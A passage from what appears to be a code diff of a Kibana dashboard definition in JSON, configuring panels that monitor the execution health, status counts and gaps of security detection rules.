10,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true}},\"columnOrder\":[\"fa6462ca-54c3-470e-a9c3-66ff58c37536\",\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"729ee95a-5bf6-4f18-9350-dce536b55dea\",\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"],\"sampling\":1,\"ignoreGlobalFilters\":false,\"incompleteColumns\":{}}}},\"textBased\":{\"layers\":{}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"2168b471-9a51-4ead-a51e-15e52ba85d86\",\"gridData\":{\"i\":\"2168b471-9a51-4ead-a51e-15e52ba85d86\",\"y\":134,\"x\":0,\"w\":24,\"h\":16}},{\"type\":\"lens\",\"title\":\"Top 10 rules by status \\\"Warning\\\"\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"partial failure\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"partial failure\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsDatatable\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"64b1a767-a32b-4a59-9fae-de5f08d38208\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"columns\":[{\"columnId\":\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"isTransposed\":false},{\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\",\"isTransposed\":false,\"width\":126.25},{\"columnId\":\"7ea81631-0dff-4ec6-929f-592e29101149\",\"isTransposed\":false,\"width\":165.375},{\"columnId\":\"9f1d7602-e75b-427f-b740-c2b8167fed33\",\"isTransposed\":false,\"width\":82}],\"layerId\":\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"layerType\":\"data\"},\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"partial failure\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"partial failure\"}}}],\"index\":\"64b1a767-a32b-4a59-9fae-de5f08d38208\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\":{\"columns\":{\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\":{\"label\":\"Name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false,\"secondaryFields\":[]},\"customLabel\":true},\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\":{\"label\":\"# \\\"Warning\\\"\",\"dataType\":\"number\",\"operationType\":\"unique_count\",\"scale\":\"ratio\",\"sourceField\":\"kibana.alert.rule.execution.uuid\",\"isBucketed\":false,\"params\":{\"emptyAsNull\":true},\"customLabel\":true},\"7ea81631-0dff-4ec6-929f-592e29101149\":{\"label\":\"Type\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.category\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true},\"9f1d7602-e75b-427f-b740-c2b8167fed33\":{\"label\":\"ID\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.id\",\"isBucketed\":true,\"params\":{\"size\":10,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true}},\"columnOrder\":[\"9f1d7602-e75b-427f-b740-c2b8167fed33\",\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"7ea81631-0dff-4ec6-929f-592e29101149\",\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"],\"sampling\":1,\"ignoreGlobalFilters\":false,\"incompleteColumns\":{}}}},\"textBased\":{\"layers\":{}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"075d7dff-442b-4091-bfe2-3844e7e7e3f4\",\"gridData\":{\"i\":\"075d7dff-442b-4091-bfe2-3844e7e7e3f4\",\"y\":134,\"x\":24,\"w\":24,\"h\":16}},{\"type\":\"lens\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"palette\":null,\"filters\":[],\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"attributes\":{\"title\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"type\":\"index-pattern\",\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-54585793-d86f-4dce-8fb1-80b6ef529e4f\"},{\"type\":\"index-pattern\",\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-87d56d88-cfac-492c-ba95-a70cb5815c20\"},{\"type\":\"index-pattern\",\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-223cc135-2457-4248-aada-6d1d10cfa126\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"top\",\"showSingleSeries\":true,\"isInside\":false},\"valueLabels\":\"hide\",\"fittingFunction\":\"Linear\",\"axisTitlesVisibilitySettings\":{\"x\":false,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"bar\",\"layers\":[{\"layerId\":\"54585793-d86f-4dce-8fb1-80b6ef529e4f\",\"accessors\":[\"d1f5683e-3d19-403b-adf5-c19e3890afec\"],\"position\":\"top\",\"seriesType\":\"bar\",\"showGridlines\":false,\"layerType\":\"data\",\"colorMapping\":{\"assignments\":[],\"specialAssignments\":[{\"rule\":{\"type\":\"other\"},\"color\":{\"type\":\"loop\"},\"touched\":false}],\"paletteId\":\"default\",\"colorMode\":{\"type\":\"categorical\"}},\"xAccessor\":\"349bbe98-bb74-4ad7-8dd0-5aeef46827bf\",\"yConfig\":[{\"forAccessor\":\"d1f5683e-3d19-403b-adf5-c19e3890afec\",\"color\":\"#e7664c\"}]},{\"layerId\":\"87d56d88-cfac-492c-ba95-a70cb5815c20\",\"layerType\":\"data\",\"accessors\":[\"24a5aae8-70af-471c-98c6-59e65730df77\"],\"seriesType\":\"bar\",\"xAccessor\":\"b9c742e8-83d3-486e-a28b-500cef0a0963\",\"yConfig\":[{\"forAccessor\":\"24a5aae8-70af-471c-98c6-59e65730df77\",\"color\":\"#98a2b3\"}]},{\"layerId\":\"223cc135-2457-4248-aada-6d1d10cfa126\",\"layerType\":\"data\",\"accessors\":[\"e95064dd-bd12-45c5-8d9b-8532cc3a07eb\"],\"seriesType\":\"bar\",\"xAccessor\":\"55820513-5417-43b0-9062-d0758340b71d\",\"yConfig\":[{\"forAccessor\":\"e95064dd-bd12-45c5-8d9b-8532cc3a07eb\",\"color\":\"#6b3c9f\"}]}],\"yTitle\":\"Rules\"},\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filters\":[],\"datasourceStates\":{\"formBased\":{\"layers\":{\"54585793-d86f-4dce-8fb1-80b6ef529e4f\":{\"columns\":{\"349bbe98-bb74-4ad7-8dd0-5aeef46827bf\":{\"label\":\"kibana.alert.rule.gap.unfilled_intervals\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"kibana.alert.rule.gap.unfilled_intervals\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"5m\",\"includeEmptyRows\":true,\"dropPartials\":false}},\"d1f5683e-3d19-403b-adf5-c19e3890afec\":{\"label\":\"Rules with unfilled gaps\",\"dataType\":\"number\",\"operationType\":\"unique_count\",\"scale\":\"ratio\",\"sourceField\":\"rule.id\",\"isBucketed\":false,\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"349bbe98-bb74-4ad7-8dd0-5aeef46827bf\",\"d1f5683e-3d19-403b-adf5-c19e3890afec\"],\"incompleteColumns\":{},\"sampling\":1,\"indexPatternId\":\"kibana-event-log-data-view\"},\"87d56d88-cfac-492c-ba95-a70cb5815c20\":{\"linkToLayers\":[],\"columns\":{\"b9c742e8-83d3-486e-a28b-500cef0a0963\":{\"label\":\"kibana.alert.rule.gap.filled_intervals\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"kibana.alert.rule.gap.filled_intervals\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"5m\",\"includeEmptyRows\":true,\"dropPartials\":false}},\"24a5aae8-70af-471c-98c6-59e65730df77\":{\"label\":\"Rules with gaps filled\",\"dataType\":\"number\",\"operationType\":\"unique_count\",\"scale\":\"ratio\",\"sourceField\":\"rule.id\",\"isBucketed\":false,\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"b9c742e8-83d3-486e-a28b-500cef0a0963\",\"24a5aae8-70af-471c-98c6-59e65730df77\"],\"sampling\":1,\"ignoreGlobalFilters\":false,\"incompleteColumns\":{},\"indexPatternId\":\"kibana-event-log-data-view\"},\"223cc135-2457-4248-aada-6d1d10cfa126\":{\"indexPatternId\":\"kibana-event-log-data-view\",\"linkToLayers\":[],\"columns\":{\"55820513-5417-43b0-9062-d0758340b71d\":{\"label\":\"kibana.alert.rule.gap.in_progress_intervals\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"kibana.alert.rule.gap.in_progress_intervals\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"5m\",\"includeEmptyRows\":true,\"dropPartials\":false}},\"e95064dd-bd12-45c5-8d9b-8532cc3a07eb\":{\"label\":\"Rules with gap filling in-progress\",\"dataType\":\"number\",\"operationType\":\"unique_count\",\"scale\":\"ratio\",\"sourceField\":\"rule.id\",\"isBucketed\":false,\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"55820513-5417-43b0-9062-d0758340b71d\",\"e95064dd-bd12-45c5-8d9b-8532cc3a07eb\"],\"sampling\":1,\"ignoreGlobalFilters\":false,\"incompleteColumns\":{}}},\"currentIndexPatternId\":\"kibana-event-log-data-view\"},\"indexpattern\":{\"layers\":{},\"currentIndexPatternId\":\"kibana-event-log-data-view\"},\"textBased\":{\"layers\":{},\"indexPatternRefs\":[{\"id\":\"kibana-event-log-data-view\",\"title\":\".kibana-event-log-*\",\"timeField\":\"@timestamp\"}]}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"0db89539-75be-4293-98f1-de2a1bb1e9f9\",\"gridData\":{\"i\":\"0db89539-75be-4293-98f1-de2a1bb1e9f9\",\"y\":15,\"x\":0,\"w\":48,\"h\":9}}]", + "panelsJSON": "[{\"type\":\"visualization\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"savedVis\":{\"id\":\"\",\"title\":\"\",\"description\":\"\",\"type\":\"markdown\",\"params\":{\"fontSize\":12,\"openLinksInNewTab\":false,\"markdown\":\"This dashboard helps you monitor the health and performance of detection rules.\\n- You need at least `read` privileges for the `.kibana-event-log-*` index to access the necessary data.\\n- This Kibana-managed dashboard can not be customized. To make a custom version, clone it or edit and save it as a new dashboard.\"},\"uiState\":{},\"data\":{\"aggs\":[],\"searchSource\":{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[]}}}},\"panelIndex\":\"35a9ff89-705a-45b7-ae86-67037fc66f15\",\"gridData\":{\"i\":\"35a9ff89-705a-45b7-ae86-67037fc66f15\",\"y\":0,\"x\":0,\"w\":48,\"h\":7}},{\"type\":\"lens\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Number of rules that were executed during the selected timeframe.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"Enabled rules\",\"description\":\"\",\"visualizationType\":\"lnsLegacyMetric\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-66195a85-b71e-45f5-a5ea-4388416cf5f7\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"874e1b4c-a64b-426a-b43e-d4ee226610a9\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"layerId\":\"66195a85-b71e-45f5-a5ea-4388416cf5f7\",\"accessor\":\"9449b851-8169-44e9-8418-bd0e586bbf94\",\"layerType\":\"data\",\"textAlign\":\"center\",\"titlePosition\":\"bottom\",\"size\":\"xl\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"874e1b4c-a64b-426a-b43e-d4ee226610a9\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"66195a85-b71e-45f5-a5ea-4388416cf5f7\":{\"columns\":{\"9449b851-8169-44e9-8418-bd0e586bbf94\":{\"label\":\"Enabled rules\",\"dataType\":\"number\",\"operationType\":\"unique_count\",\"scale\":\"ratio\",\"sourceField\":\"rule.id\",\"isBucketed\":false,\"customLabel\":true}},\"columnOrder\":[\"9449b851-8169-44e9-8418-bd0e586bbf94\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"52ec5ce0-3ea9-42ee-91f2-0f664d6cb74d\",\"gridData\":{\"i\":\"52ec5ce0-3ea9-42ee-91f2-0f664d6cb74d\",\"y\":7,\"x\":0,\"w\":10,\"h\":8}},{\"type\":\"lens\",\"title\":\"Rule executions\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Number of rule executions within the selected timeframe.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsLegacyMetric\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"37539143-7ea2-4353-ae4e-78ec772d1508\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"layerId\":\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"accessor\":\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\",\"layerType\":\"data\",\"textAlign\":\"center\",\"titlePosition\":\"bottom\",\"size\":\"xl\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"37539143-7ea2-4353-ae4e-78ec772d1508\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\":{\"columns\":{\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\":{\"label\":\"Rule executions\",\"dataType\":\"number\",\"operationType\":\"count\",\"isBucketed\":false,\"scale\":\"ratio\",\"sourceField\":\"___records___\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"91a23437-071d-4739-b57e-2881caa980eb\",\"gridData\":{\"i\":\"91a23437-071d-4739-b57e-2881caa980eb\",\"y\":7,\"x\":10,\"w\":11,\"h\":8}},{\"type\":\"lens\",\"title\":\"\\\"Succeeded\\\" statuses\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Number of rule executions with a succeeded status (outcome of the rule execution) within the selected timeframe.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"succeeded\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"succeeded\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsLegacyMetric\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"32816692-7d96-4a12-abe3-3016e8a3844c\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"layerId\":\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"accessor\":\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\",\"layerType\":\"data\",\"textAlign\":\"center\",\"titlePosition\":\"bottom\",\"size\":\"xl\",\"colorMode\":\"Labels\",\"palette\":{\"name\":\"custom\",\"type\":\"palette\",\"params\":{\"steps\":3,\"name\":\"custom\",\"reverse\":false,\"rangeType\":\"number\",\"rangeMin\":null,\"rangeMax\":null,\"progression\":\"fixed\",\"stops\":[{\"color\":\"#209280\",\"stop\":12}],\"colorStops\":[{\"color\":\"#209280\",\"stop\":null}],\"continuity\":\"all\",\"maxSteps\":5}}},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"succeeded\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"succeeded\"}}}],\"index\":\"32816692-7d96-4a12-abe3-3016e8a3844c\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\":{\"columns\":{\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\":{\"label\":\"Succeeded\",\"dataType\":\"number\",\"operationType\":\"count\",\"isBucketed\":false,\"scale\":\"ratio\",\"sourceField\":\"___records___\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"9770096c-3ba7-42e4-9783-5042ff08896d\",\"gridData\":{\"i\":\"9770096c-3ba7-42e4-9783-5042ff08896d\",\"y\":7,\"x\":21,\"w\":9,\"h\":8}},{\"type\":\"lens\",\"title\":\"\\\"Warning\\\" statuses\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Number of rule executions with a warning status (outcome of the rule execution) within the selected timeframe.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"partial failure\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"partial 